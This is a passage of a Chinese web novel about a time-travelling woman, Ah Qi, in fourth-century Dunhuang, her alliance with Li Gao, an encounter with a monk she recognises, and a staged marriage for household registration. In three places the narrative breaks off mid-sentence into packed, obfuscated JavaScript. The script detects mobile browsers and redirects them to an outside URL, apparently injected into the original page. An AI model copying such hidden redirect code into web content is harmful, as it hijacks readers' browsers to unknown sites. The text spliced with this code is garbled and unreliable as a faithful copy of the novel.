玄盛外表老态,没有外人在,仪态已恢复了挺拔优雅,看着阿祇微笑,表情里仍能看出原本玉树兰芝的风华,“让白月陪着你,果然没错。” 阿祇拍拍白月的后背,偷偷给它的草料加了把细糠。 玄盛笑道:“阿祇竟能寻到这里。” 阿祇嘴角含笑,哪怕是怪书生的模样,她还是悠然自得的样子,“听宋繇提起过,你们兄弟小时候曾随母亲在敦煌城北郊区的舅父家住过几个月,后院有一棵无忧树,建元十九年舅父家举家迁往建康,捐了个七品官吏,这座老宅院空置下来,白月带我从城北里走了一圈就找到这里了。” 她是个行走的信息库,也是她的生存本领。 “不错!”李暠拍了拍她肩膀。 这个女子不仅聪慧,还难得变通,他刚来到舅父家宅院见到白月的时候,玄盛难掩心中惊喜,重逢是缘,无论境地。玄盛对阿祇交代道:“舅父家以前经营窑场,二弟没告诉你,老宅的钥匙藏在门前石狮子墩的暗格里吗?” 阿祇摇头,“我只借住几天,越少人见到我越好。” 这时,她又恍然意识到:“玄玉阁被查封了,你怎么来了?一个人吗?” 玄玉阁的事情在吕光班师东归中原的时候,李暠与吕光的合作就充满变数,敦煌的势力他早做了准备,然而这里是他们付出心血的地方,远眺城中的楼宇亭台,他眼中神情复杂。 “无碍,我来此是为了一场赌约。” 阿祇知道,不方便再问下去了。 雪越下越大,她看到玄盛花白的头发上落满霜雪反应过来,忙招呼玄盛进屋,“外面冷,快进来,我今天赚了只羊腿,十里铺老于的羊汤手艺不错,我煮给你尝尝。” 玄盛接过她的竹篓,“你慢点。” 二人吃了顿热乎乎的晚饭,李暠这个人很有意思,享受得了奢华,也吃得了苦,吃过饭还主动烧水洗碗,饭后,阿祇小心询问外面的情况。 如今的局势,吕光已经消灭了凉州刺史梁熙,占据姑臧自立河西王,正带兵相继讨伐张大豫、徐炅、彭晃等河西势力,李暠没有细说来敦煌的意思,但城中刚刚易主,段业受命镇守敦煌,吕光任命亲信割据河西,与造反无异。 敦煌是河西的咽喉要塞,通往西域的必经之地,李暠选择韬光养晦,却不可能放弃敦煌。 他道:“我现在的身份是赵府管事,监管窑场采买。” 李暠从驴车上卸下很多的木材炭火,本来是为了烧窑运送的物资,掩人耳目,没想到炭火这会儿派上了用处,够他们一冬的烧火取暖用了。 敦煌马市遭禁,出入城的多是骆驼、牛、驴,城北贫瘠,多以烧窑为主业,离石窟山不过十数里,贵人们来得少,倒有官差们隔三岔五地搜刮一番。 周围的房子也飘出炊烟,应该是长工佃农们的家,好像比昨夜热闹了许多,谁知是不是玄玉阁潜进来的人手,玄盛边填柴火,边问厨房忙碌的阿祇,“你来敦煌,可是遇上了难事?” 阿祇因有求于他,于是便将过去三个月途中所经历的事情讲了个大概,唯独隐瞒了与沮渠蒙逊的纠缠,“我想找的人在黑铁骑手中,下落不明。” “我知道。” 阿祇猛地抬头,惊道:“你知道?” “沙迦牟韦是精绝国的七王子,十六年前与人私奔,被逐出了王室,近些年精绝国王年迈体衰,王位后继无人,让人暗中寻找王子……我们最后得到关于沙迦牟韦的消息,是他曾出现在九月龙城。” “草原匈奴人的盛会?”阿祇惊讶。 李暠点头,没再多说什么。匈奴分支遍布北方山川草原,比如卢水胡就在凉州地界,沙迦牟韦出现在北方的龙城,是不是意味着卢水胡和龙城的匈奴部落强强结盟了? 气氛只沉默了一小会儿,阿祇便调整好了心态,“精绝不是权力争夺的重心,沙迦牟韦连继承王位的竞争对手都不存在,被拉拢比被刺杀的可能性更大。” 玄盛又添了把柴火,屋子里暖洋洋的,“如果你想动身去龙城那倒不必,雪季已至,草原的部落已经迁徙到了过冬的地方。” 阿祇往锅里多加了几瓢水,准备一会儿给两人洗漱用,听到这些消息后她松了口气,“知道他们的下落就好。” 玄盛欲言又止,斟酌之后才开口:“见到沙迦牟韦的人只说,他被独自软禁在龙城。” “独自是何意?他的夫人呢?” 玄盛沉声道:“大约是留在沙漠里了。” 阿祇心中一沉,立刻明白了他的意思,善爱当胸受了箭伤,不可能在黑铁骑的押送下跨越沙漠和草原,抵达龙城。 她的声音有些哽咽,善爱是她穿越古代后第一个遇见的人,也是最先对她表达善意的如亲人一般的人,她执着地想重回故国,用自己的鲜血赎罪,然而她就这样不在人世了,带着永远的遗憾。 “那晚我逃走了,留下了阿秭……” “那不是你的错,你无自保之力,如果是我也会先让你离开,何况精绝人对死亡的看法并不悲观,若为爱人亲人而死,灵魂更是能够得到天神的怜悯。” 阿祇默默掉下一颗泪珠,无声地继续手下的工作。 “玄盛,谢谢你。” 李暠故作轻松地说:“我还没问,你为何这般打扮?” 阿祇抹了把眼睛,“说来话长,我在路上捡到一个孩童,暂留在龟兹公主那里养病,在安置妥当孩子的去处前我会留在这里。”阿祇想了想,问李暠:“能麻烦玄玉阁帮忙吗?” 玄盛对上阿祇的目光,“但说无妨。” 阿祇忙不迭回到手上的活儿,继续舀水,大概一会儿洗澡的热水都够了,玄盛顺其自然地添柴烧火,其实阿祇对那孩子了解的不多,更不觉得玄玉阁非帮她不可,“他不像寻常人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作为大道之源的易经六十四卦,辛薇高中时代就沉迷过一段时间。用六爻龟壳摇卦,她最近更是手到擒来,翻出自己的宝贝龟壳,端坐在桌前,她不允许有人怀疑老祖宗博大精深的信仰,以及她穿越人上帝视角的双重预言能力叠加,伸出一只手索要酬金。 玄盛微笑着摸索出二十个铜板,他是个懂规矩的,“识得玄中颠倒颠,才知因果乾中乾。” “老者”彬彬有礼,态度诚恳,让阿祇挑不出一点毛病,只当是位金主真心求签,她也诚心配合,双手接过铜板,转嗔为喜:“郎君,所求何事?” 玄盛沉默了一瞬,“与人有赌,求问吉凶?” 女子深吸一口气,嗯…… 屋内灯火明灭,阿祇调了调灯芯,静心闭目。 从玄盛的角度看来,荧光烛火下素衣阿祇陷入冥想,气息平顺后睁眼捧起龟壳,放入三枚古币轻轻摇卦,神情庄严圣洁,这一套行云流水,让他不禁又想起精绝国的祖慕祇秘辛。 玄玉阁屹立于大漠,凭的不仅仅是金钱和武力,暗网之强大,往往能左右微妙的局势。那些个笃信祖慕祇传说的精绝王室,不思进取,国本不兴,将挽大厦将倾,救黎民生死的重任,寄予无稽的神女转世之说一个女人身上? 铜钱三次掉落,打断他的沉思,阿祇双眸明亮,“巽上震下,风雷益卦。” 玄盛直言:“何解?” “君子观此卦,损上益下,损而不已必受益,故受之以益。玄盛老伯若问时运,风雷相助互长,交相助益,利有所往,利涉大川,多主吉。双赢之兆。” 李暠看着眼前之人兴奋的神情,亦眉有喜色,“多谢金龟子吉言,若此,某必有重谢!” 阿祇笑称:“理当如此。” “金龟子”的大名,出现在这位传奇古人的口中仍是莫名喜感,玄盛开怀,女子笑颜如桃花。 55. 无谶禅师 雪后放晴,西北的空气干净清冽。 打开门,阿祇装扮好羸弱的算命书生样清扫院子的积雪,刚出门,就被雪地反射耀眼的光芒,晃得一阵炫目,她看了眼厨房有炊烟,灶台附近的干草垛中努尔熟睡,热腾腾的早饭已经闷在灶上。 旁边有张字条:“水米敬智者,驴车送佳人。” 阿祇嘴角一抽,恰在此时,门外的驴子哼哈哼哈地嚎叫了起来。她能拒绝这样的霸道总裁行径吗?当然不能,这驴子四肢强健,蹄子坚硬,正好适合在雪后的泥地上行走,好个香车美驴! 阿祇四下寻了寻,发现白月不见了,不知道是去后山溜达,还是陪前主人出门了,但不重要,白月的生活主打潇洒自由。 她又看了眼睡得打鼾的努尔,不打算打扰它,给它留了吃食,清理完院子牵上小毛驴就出门了。阿祇心中的大事,大多有了着落,之所以仍惦记石窟山,除了为了阿竭耶的心愿,还想见见鸠摩罗什,历史上著名的佛教译经家。 未来几年,他将远赴长安,率弟子僧肇八百余人,译出《摩诃般若波罗蜜多心经》、《妙法莲华经》、《维摩诘经》、《佛说阿弥陀经》、《金刚经》等经和《中论》、《百论》、《十二门论》和《大智度论》等论,共七十四部,三百八十四卷。 这样伟大的历史人物,她必须要去朝拜一次。 骑在毛驴身上,阿祇不由哼起了小曲。 我有一只小毛驴, 我从来也不骑, 有一天我得了便宜骑着去赶集, 我手里没有小皮鞭, 我心里不着急, 代写家书,卜卦问吉, 别把我摔得一身泥。 ……………… 驴子的脚程不错,不到一个时辰,她就快到了石窟山下,远远的看见茶摊,今日这里格外热闹。 茶摊店家老来得女,凡喝茶的客人皆送喜蛋一枚,另外,茶摊排了好些特地来的村民,他们都是听说有写信算命的小郎君,就也想带个信给山上的家人。石窟山有附近的村民做工,他们本不在山中留宿,封山数日,家人未归,连个音信都无。 有人耐不住性子,找到店家打听:“那个写信的小郎君,今日会来啊?” 茶摊老板好脾气地说:“这咱也说不准。” 茶摊老板做的小本生意,今日可忙坏了,见到熟人忙打招呼:“王家叔伯,你们怎么都来了?也是要写信寻儿郎的?” 老伯兄弟俩本来是赶集来的,从乡亲们口中听说这有个奇人,也跟着来凑热闹,“额家大郎在家咧,听说有个抗幡郎君会算卦,额想求吉日盖屋上梁,这不过来看看。” 敦煌繁荣,连卜卦问吉的业务都扩张得如此迅速。 店家抱来一大摞碟碗,笑呵呵地对乡亲们说:“来,用点茶点,一会儿他就来了。” “请问店家,神算子的名号是啥咧?”王家老伯问。 店家放下碟碗,犯了难,“呦,额还真不知道,就知道是个书生小郎君。” 老人家冷得直跺脚,“你这有酒吗?暖个身子。” “哎呦,老叔,这可难为额老于了,摊铺小本经营,没得酒水。”店家得女,今日生意又好,心情不错。王老伯闻到香味,看到盖着木盖熬煮的大锅冒着水汽勾起了馋虫,“锅里在熬啥子?” 店家笑呵呵说:“羊骨汤,炉子里还有馍馍。” 老丈胃口大开,“那就来碗羊汤,要热乎的。” “好咧。”店家应声去盛汤了。 茶摊生意火爆,就这会儿功夫,小驴驮着黑黄病娇金龟子郎君来了。她今天没扛招牌,而是挂在了驴屁股上当坐垫,左边“代写家书”,右边“卜卦问吉”,村民们大多不识字,没见到幡就没认出阿祇的身份,一人一驴被排挤在最外圈。 阿祇跳下了驴,拍了拍后排老兄肩膀,好奇地问:“大哥,里面出了啥事?这么多人。” 壮实的汉子个头不高,脸色黝黑,“等人那。” “哦,不是来寻仇的就好。”她吁了口气轻声道。 阿祇想找个地方拴驴,路面不宽,人挤人的,好不容易才看到不远的一棵小树。她牵着小毛驴挤过去,大路那边浩浩荡荡过来一支车队,官兵护卫开道,随行押送许多物资货品,车队后面是辆舒适宽敞的马车,两匹高头大马齐排牵引,人群纷纷避让。 店家认出其中一位押车的马夫,正是经常在他这里喝茶歇脚的王七郎。 茶摊老板忙小声招呼,“七郎,七郎,慢走一步。” 王七郎看到老于,停下脚步凑过来,“啥事?” 茶摊老于从怀里抽出一个信封,正是昨日老妇人托阿祇写的“家书”,问:“我这有封信,是刘全柱老娘写给他的,能不能麻烦你带上山?” 王七郎是个急性子,抢过信就揣进怀里,“好说,记得晚上给我留几个馍和羊骨头。” “没问题,多谢七郎。”店家忠人之事。 王七郎摆摆手,人就要离开,这时旁边的村民见状围了上来,七嘴八舌地打听:“大人,求您也给我家狗蛋(二牛、胖才、大壮……)也带个话吧。”人一多,名字呼啦贯耳,王七郎立刻烦躁炸毛,“干啥,聚众拦截官府的车,恁们不要命了?” “求您发发慈悲,额娘病重,求您让额哥回家看看老娘吧。”一个岁数不大的男娃子跪地请求,急得直磕头,还是被王七郎推开了路,他浑身的泥水,布鞋都湿透了。 人一聚集,就嘈杂起来。 护卫赶来,斥道:“都滚开,莫惊扰了禅师。” “阿弥陀佛。”走在最后的马车传来声音。 马夫急忙停下车,前面的随从和侍卫也都停下脚步,唱佛号的人声听着很年轻,略带些口音又说:“我佛慈悲,慧嵩,停车。” 车旁的沙门和尚上前,对停下的马车施礼,“师父。” 众人避让路的两旁,有胆大的问了一句:“请问,车内可是鸠摩罗什?” 沙门和尚双手合十,“我师父无谶禅师。” 沙门和尚法号慧嵩,岁数不过十二三的光头少年,紧紧跟在马车旁边。阿祇没留意人群与慧嵩的对话,只有种奇怪的感觉,车内传来的声音,似曾相识。还未来得及想清楚,前方的马车停了下来,里面敲了两下车窗,慧嵩小和尚立刻跑上前,小心地上前卷起厚实帘子,里面的人像是感受到了冷意袭来,瑟缩地裹紧棉袍袈裟,步出马车。 一个和尚模样的人带着口音说:“慧嵩,不要惊扰了百姓。” 阿祇微愣,那种熟悉的感觉又来了。 无谶禅师在小徒弟的搀扶下缓缓步下马车,转过身面朝众人,他一手持念珠,一手施礼,“阿弥陀佛。”阳光下,无谶禅师的念珠光彩夺目,连远处的阿祇都被那一百零八颗玉髓珠子的光芒吸引,禅师缓缓抬头露出真容,一张西域异族的光头面孔,样貌普通,中等身材,慈悲为怀的悲悯相,可惜他的长相实在太,太让人惊讶了! 无谶禅师对百姓们解释道:“石窟山有人生了恶疾,未免将病气传给更多的人,无谶才下令封山,若有不便还请诸位施主谅解,阿弥陀佛! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104750|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 正在犄角旮旯栓驴的阿祇,忙转过身,这人,这人…… 光阴如梦,一年穿越时光荏苒,令阿祇觉得前世恍然。 尼雅古城考古队同行的老师与伙伴,还有克里雅,那个同辛薇一起被淹没在沙海的考古队向导。 阿祇闪躲在人群之后,内心狂跳不止。是了,她为什么没有想过,既然自己穿越了,那么先一步被流沙吞噬的克里雅,为什么不能也穿越了呢? 变故来得太突然,她完全没有心理准备。 人群中,慧嵩对无谶十分尊崇,“这位是我师父,无谶禅师。” 众人见礼,敦煌先一步中原兴盛佛教,对光头的大和尚们都态度谦和,藏在不远处的阿祇一眼就确认这个无谶禅师绝对和她一样,是穿越而来的身份。无谶禅师,首先长得与克里雅一模一样,其次口音一模一样,更让人怀疑的是他单手行佛礼。全世界的和尚施礼念经时皆双手合十,只有少林的武僧偶尔左手行礼,是源于往后百年南北朝与达摩祖师有一段渊源。 有村民打量这个和尚,弱弱问了句:“谁生了恶疾?可请人医治好了?” 克里雅,不对,是无谶禅师,他言辞恳切地回道:“施主无需担忧,人已在医治,过些日子康泰了,我们就让大家回乡探亲。” “多谢大和尚。”有村民作揖道谢。 旁边立刻有人用胳膊肘捅他,小声说:“错了,不是大和尚,这个是无、无谶禅师。” “对对,多谢无谶禅师。” 克里雅是维族牧民,因爱好历史读过一些书,他自荐来考古队当向导,其实这个职位辛苦不说,酬劳并不算丰厚。这个无谶禅师剃光了头发,比起在现代时人白了些,也儒雅了不少,但阿祇清晰记得他袭击自己时的狠辣表情,不由打了个寒颤,这人过去一年经历了什么,竟披上了袈裟? 无谶禅师没有留意到她与百姓聊着,汉语不甚清晰,“天寒地冻,诸位为何相聚在此呢?” 村民们对一位禅师毫无防备,“我们是来等人的。” 七嘴八舌说:“柱子娘说他们不识字,小郎君能写诗会画画,把她画的跟真人似的。” “听说是还会算命,昨日老于家有喜事,小郎君都知道。” “会算命?画师?”无谶略带惊讶,问刚才说话的人,“不知是男是女?” 七嘴的人觉得好笑,“那当然是男的啊。” 八舌的人说得更夸张,“说得好像你见过似的。” 七嘴:“我听昨天在这喝汤的王大郎,说是个小郎君,就用这黑乎乎的黑炭随便一画,魂都画出来了跟那妇人分毫不差,还在上面写了首诗。” 八舌:“分毫不差?诗?王大郎的话你也信?” 七嘴不忿,“嘿,不信你问店家。” 店家点头作证,因为柴火棍是从他的灶里拿出来的,所以对那张神奇的碳画记忆犹新,“嗯嗯,绝对是真像,连头发丝都不差。” 无谶禅师静静地听他们说话,好像对话题中的人很感兴趣,他温和地对店家说:“若真画如其人,得观乃无谶之幸。” 隐藏在角落的阿祇心脏扑通乱跳,这是走了什么狗屎运,老天无眼,店家却很是热心,指着王七郎手中的东西说:“柱子的家书就在七郎手上,正是那画。” 短粗的年轻汉子走出来,拿出一封信双手呈上无谶面前,无谶刚刚要接,稍作迟疑便摆手婉拒,“既是家书,自是不便。若一会儿那位施主来了烦请店家带话,石窟山求贤若渴,为我佛绘金身抄经卷功德无量,阿弥陀佛……” 56. 又见潭儿 骑着毛驴回来的路上,阿祇忐忑不已。看来金龟子的名号是没办法打响了,那个无谶禅师明明就是克里雅,一个同属异世的穿越者,还是是敌非友的那种。 才过晌午,她就回到了小院。 没想到院门大开,里面早有了动静。大概是玄盛回来了,如今他的身份是赵府采办管事,出入比她这个借助的方便许多。阿祇跳下毛驴,松了口气跑进院里,白月不在,驴子吐着气趾高气昂地朝牲畜棚走去,平时这都是白月的地盘,跟过李暠的牲畜怎么都莫名自信,阿祇赶紧跟着驴子把它拴在一边的棚子里。 “驴小哥,莫怪,我对动物出身绝无偏见,纯粹为了你的驴身安全着想,Peace!” 身后如风一样奔来,有人直扑阿祇身后,差点将她推个趔趄。阿祇吃了一惊,腰上多了一双小手紧紧圈着她不放,“这是谁啊?快放手。” “不放,放手你就又跑了。” 声音稚嫩,回头总算见到一张熟悉的小脸,“潭儿?” 阿祇大喜,这孩子竟然好得这么快。 “脸上有血气了,养的不错。对了,你怎么找到这里来的?”男孩齐胸高,生了一双好眼,委屈巴巴地盯着眼前的女子,大声道:“我来找你,你能不能不要不要我?” 阿祇险些大脑被绕晕,原来她捡了一个霸道的小孩。 阿祇笑容和蔼,“阿秭没有不要你,太白堂的姊姊懂医术,人又好,你有没有好好感谢人家照顾你?”男孩不说话,拉着她的衣角不放,这小孩有点倔,阿祇也觉得自己有点不负责任,又哄道:“可想起自己的名字了?” 潭儿眉头紧皱,还是不答话。 这时,屋内走出头发花白的“赵府管事”,笑容温和地解释说:“我去太白堂送年货,正巧碰上这孩子在堂里闹腾,这小子醒来就不吃不喝地找你,我就把人给带过来了。” 阿祇确认过眼神,这小子很怕李玄盛。 她无奈摇头,“既然来了就乖乖听话,听见没?” 潭儿点头,终于松开禁锢她腰的手,他对她身上的味道十分熟悉,毕竟受伤后时在她的怀抱里昏迷了一阵,安全感几乎形成了嗅觉记忆,此时打量她奇怪的样貌,简直像街边面黄肌瘦的乞丐,有点释怀地开了口:“你是因为没钱才丢下我的吗?我有钱。” 他从怀里掏出个锦囊袋子,里面装满了金豆豆,顺便从脖子上摘下一块金锁,全部塞进阿祇的手中。这……误会有点大,她赶紧全都给他戴了回去。 阿祇揉了下小孩的头,一个孩子想要接济她,她看起来真的很穷吗? “潭儿,你若想起家人,阿秭送你回家好不好?” “我没家人,他们都死了。”男孩低声说。 阿祇愣住,孩子的眼珠红红的,悲伤之余还有愤怒的情绪,她动了恻隐之心,拉着他的小手说:“外面冷,先进屋。” 赵家不愧是敦煌大户,这座西北的宅院里竟然修葺了很多暖阁,玄盛安排阿祇住在后院最好的一间带火墙的房间里,所谓“火墙”,是西北特有的一种取暖方式,就是将墙建成空心,墙下有火道,炭口里烧上木炭火,热力沿着夹墙温暖整个屋子。 潭儿小心地看了眼旁边的白发“老人”,他是个极有眼力的孩子,虽然跟着他找到了阿秭,但潭儿始终不敢亲近他,阿竭耶却让他信任这个人,潭儿年纪虽小,但对人的直觉很敏感,这个白发老人他肯定见过…… 外面的天阴沉沉的,阿祇捂着厚实的羊绒棉袄,一路早就冻得发抖,脸上画了妆掩盖住真容,可耳尖却冻得红红的,她跺着脚,刚一进暖房就心情大好,“好香啊!有酒?” 自从李暠来了这里后,她的居住伙食待遇就直线上升,本来她也不是个挑剔的人,一眼便瞧见了屋中架着一口小锅,里面正咕嘟嘟地冒着香气四溢的米羹,桌上有烧好的胡麻饼,几碟酱菜和熟食,还烫着一壶酒。 阿祇激动地说:“你做的?” 玄盛像是对灶火的活儿做熟了的,将小小暖阁整理地很温馨,桌塌摆了青碟小菜,“二弟说你喜欢胡饼,回来的早就做了些。” 阿祇带着男孩子舀水洗手,这才介绍道:“你们怎么称呼彼此?” 潭儿垂下黝黑的双眸,神情有些怪,躲避着玄盛不言不语,然后才挤出来几个字:“没称呼。” 呃,好吧……阿祇懒得管这别扭的一大一小。玄盛不以为意,似不经意地看了眼阿祇那张有黄又黑的脸,又往水盆里加了瓢热水。 “今日是不是遇到了麻烦?” “见到了个意想不到的人,是不是麻烦还不知道。” 阿祇擦干自己和潭儿的手,那孩子被她这样照顾一点没有不习惯,好像天生就是被人伺候的那种人。玄盛也不避讳她们,卸掉白发和脸上的妆造,阿祇略微吃惊,他这是不装了? 玄盛随和自然地说:“吃饭吧。” 阿祇看了看他们一大一小,潭儿的表情一看就是认出了玄盛,她好奇地问:“你们认识?” 潭儿漆黑的眼睛紧紧盯着玄盛,却坚定地摇头。 “不认识。”玄盛淡定地回答,潭儿像松了口气,这才坐下。 三人同他们围着火炉而坐,外面北风呼啸,屋子里却温暖如春,玄盛为阿祇和潭儿盛好饭,“没关系,日后就是一家人。” 阿祇有些不解,潭儿默默吃饭。 “承金龟子吉言,双赢之局,玄盛今日得了彩头。” 玄盛故弄玄虚,给阿祇和自己斟了两杯酒,“赵家管事”带来的了上好的精炭,除了用来暖锅子,还时时烧着火墙,这样奢侈也就玄玉阁了。 阿祇好奇地问:“什么彩头?” 玄盛回道:“吕光已统一河西,于姑臧自立为三河王,国号大凉。” 阿祇并不惊讶吕光的战斗力,吕光的野心不在凉州而是整个中原,她在期待他的下文,“段业为建康和敦煌两郡的太守,他封我敦煌效谷令,我已接受。” 原来与李暠有赌约的是段业,“恭贺李大人出仕。” 李氏家族在乱世中固步自封,艰难求存,自从李暠作了家主后才有了巨大的改变,阿祇嘴上讨巧,只是……李玄盛是何许人,昨日卜卦之时,恐怕他有所犹豫的就是是否出仕,一想到她的卦象给了他走出这一步的鼓励,阿祇有些心虚,欣然接受县令之职对声名在外的玄郎君怕是并不容易,阿祇怯怯地问玄盛:“不嫌官小?” “阿祇可嫌县令夫人官小?” “怎会……”阿祇笑着愣住,惊讶地看着他,“什么县令夫人?” “正是今日得的彩头。” 潭儿悄悄抬眼看了看他俩,眼神复杂。 玄盛卖着关子,见潭儿放下碗筷便为他填满了米羹,“潭儿,身体还虚,多吃点。” 这小子不喜欢他把他当小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“三河王承中原的户籍令,你们在敦煌久居自然要有良民户籍,潭儿是你收养的孤儿,而我刚被封为效谷县令,正好可以封妻荫子。”原来如此,李暠拐弯抹角的竟是要帮她和潭儿。阿祇从未考虑过中原严苛的户籍制度,如今还多了个“拖油瓶”,再次遇见李暠真是恰逢其时。 玄盛若有所思地看了潭儿一眼,十岁的孩子盯着地面,不知在想什么。 阿祇大大咧咧地问:“所以……我们就是你的草台班子家人?” 玄盛眼角一跳,笑道:“长子李潭,辛夫人所出嫡子,有了这个户籍将来潭儿的去留便由夫人说了算。”阿祇指着自己,总算明白了,“夫人?”只见玄盛微笑点头。 陇西李氏是世家望族,旁支嫡庶众多,她不否认这个名头很好用,但是这个人情太大了。 男孩突然开口,“我不同意,我想阿秭永远作我的阿秭。”阿祇也没想好,怎么就多出一个长子了?她才二十岁而已。玄盛像是早就料到他们的反应,质问潭儿:“莫非你想起了你的‘家人’?” 孩子本能瑟缩了一下,再不开口。 阿祇吃惊,李暠根本就是知晓潭儿的身份。李暠将他带了回来,他们之间好像有某种默契,秘而不宣,给潭儿的身份,似乎并不仅仅是因为她和潭儿的关系。 阿祇轻咳一下,问:“我没意见,但我什么时候成了辛夫人?” 李暠反问:“你什么时候不是辛夫人?” 57. 夫妻任务 阿祇被李暠一下问住了,这个问题有些尖锐了,回想自从与善爱和沙迦牟韦失散起,她的人生便与玄玉阁有了千丝万缕的关系,人固然天然生活在社会关系中,但如果这个关系能可控那就完美了。 潭儿表情复杂,别扭中带着抗拒,玄盛对这个孩子的态度很奇怪,颇为严厉。 “外人面前,你可称呼她主母。” 阿祇喝得有些上头,可也大致明白了现状。吕光占据了河西,李氏宗族偏安陇西,玄玉阁势力蛰伏敦煌,李玄盛作为玄玉阁与李氏的在敦煌的质子,只能接受段业的效谷令。这么小的官职,多少是对他的羞辱,但李暠却欣然接受了。 沉默了片刻,玄盛又缓缓开口:“过两日送你去城南的靖恭学堂,那里有五经博士传授学问,既然启了蒙,学业不能荒废。” 阿祇听说学堂便来了精神,“这个主意甚好!潭儿,咱上学去。” “阿秭也去?”潭儿总算不抗拒了。 阿祇喝干杯中酒,奇怪地问:“我为什么不能去?” 她放下酒杯看着玄盛,面色微醺,思维变得迟钝起来,说话逐渐口无遮拦:“推崇《五经》罢黜百家那套,不好,那都是前汉士族世家耍的小心眼,你们这些大家族,独尊儒术,为的就是维护你们的宗法……”她打了个酒嗝,面前一大一小可不都出身贵族么?她可没脑子想许多,接着说:“什么贵族的利益,什么修身、齐家、理国,暴君上台轻易流血千里,揭竿而起的战争贩子动辄伏尸百万,光凭五经能平天下?” 在孩子满眼的震惊中,阿秭离经叛道的话,简直要跟全天下的世家大族为敌。 玄盛镇定地塞给阿祇一张胡饼吃,阿祇也不客气地又吃又喝,明显是醉意上头。他转头对潭儿说:“你刚才听见了什么?” 潭儿闪着大眼睛,拼命摇头。 “吃完把这里收了,自己洗漱睡觉去。” 玄盛起身,在小小少年面前显得肩宽背挺十分高大,脑子不甚清醒的阿祇,边吃边聊着她的奇思妙想,再喝下去胡言乱语,怕是要被下大狱的节奏。感觉天旋地转的辛夫人还在即兴批判,人已经被抱了起来,“皇权一统,百姓衣牛马之衣,食犬彘之食,民不聊生,孰人之错?欸,怎么天在转,莫非又穿了?……” 在她的疯言疯语中,不知玄盛用了什么办法终于让她消停下来。 第二日,阿祇在头疼中醒来。 阿祇揉着额头睁开眼,发现自己睡在一个陌生的房间,身上盖着柔软锦被,幸好被子里她穿着干净的棉质衣裙,随之而来的问题就是希望这衣裙是她自己换上的,可是她昨夜喝断片了。 外面好像有声音,她脚步虚浮地打开大门,然后被眼前的一幕惊住了。 院子里穿梭着儒裙汗衫的侍女,她们有的搬运妆匣玉器,有的在打扫廊院,见到阿祇出现无一不屈膝行礼,喊她:“见过夫人。”她居然住在了宅院的主屋里,虽然她对李暠舅父家的庄子并不陌生,但这气派的后宅她还是第一次入住。 ……………………………… 一夜之间,好像换了人间。 “玄……家主呢?” 一个梳着双环髻青色儒裙的侍女走来行礼,说:“回夫人,家主在后院。” 那是他们最近住的地方,离这里并不远,阿祇道了声谢便匆匆而去,她不太喜欢这身裙摆,快速的步伐走着凌乱,等到后院的时候,正好看见一大一小正在给白月梳理毛发,这几日总算白骆驼的威姿重现,玄盛亦是恢复了玄郎君的风采。 玄盛听见动静回头,见她单薄的样子立在廊道,因小跑急促的呼吸,在冬日里形成白气,显得她的微红的鼻子越发生动。 “怎不披见衣服,我已让人将置办的东西都送了过来。” 玄盛脱下自己的大氅走近阿祇,将她拢在带着温度的冬衣里。 阿祇问:“以后我们就都住在这吗?” “玄玉阁的大宅如今是太守府,我们住在舅父旧宅,这里刚好是最归属效谷县,可能要委屈你了。”玄盛的眼神深邃,拨弄开阿祇的发丝为她系上毛领。 “不委屈,这里很好,我和努尔白月在外时经常连个遮风挡雨的地方都没有。” 玄盛目光温柔,“以后不会了。” 这样的李暠像初升的太阳和煦又温暖,他看着阿祇的额间,婆罗花蕊越发的清晰,在白皙的皮肤上娇艳生动,灵动的双眸顾盼生辉。 “阿秭。”小男孩刚一开口,就被身旁人拦下。 连夜的李氏搬家,潭儿刚被迫在清理牲畜棚的粪便,见到阿秭来了,便扔下手中的粪叉就要跑过来哭诉,一双手拉住他,对潭儿微微摇头,眉目清秀的温润少年正是宋繇。 二人远远看着玄盛与阿祇的身影,神情各异。 阿祇想去打招呼,白月身边懒懒的趴着的努尔,它可不管许多,闻声奔来,一爪子就往她身上扑。阿祇心一抖,喝声:“努尔,莫再来,这是我新换的衣裳。” 努尔哪里管那些,追着阿祇就贴上来。 玄盛在不远处,含笑看着小院里的鸡飞狗跳,长发乱飞的女子被狗子追得到处跑,阿祇提着她的新衣,生怕被泥点子甩脏,在这冬季的西北万物凋零之际,女子的笑声,狗声吠叫,这份欢乐真是,不真实。 正在这时,外面有传令兵来。 阿祇小跑到回廊,笑着对他说:“等我回避下。” 阳光斑驳,这样的清晨真的很美好。 传令的人在宋繇的带领下,进来禀报:“效谷令家眷的户籍文书已造册,段太守特命小人送来,太守三日后将赴任建康上任,邀请效谷令明夜携家眷到府宴饮。” 玄盛微皱眉,对来人问:“都请了谁?” “敦煌郡下的县令都受了邀,还有些武官。” 玄盛微一点头,“知道了。” 传令官退下,玄盛皱起眉头。 如今,吕光平定了凉州的大半疆土,凉州领七郡:张掖、西郡、临松、建康、酒泉、凉宁、敦煌。其中敦煌郡,下领六县:敦煌、冥安、效谷、渊泉、广至、龙勒。段业投靠吕光被委以重任,身兼建康与敦煌太守,可见明晚的宴席人定少不了。 “怎么了?”阿祇的声音传来。 这方宅院其实比于阗的玄玉阁别院寒酸许多,但胜在温馨,小院很有古城气息,阿祇走出来正好看见宋繇与潭儿,眼睛一亮,喜上眉梢,“宋繇,好久不见。” 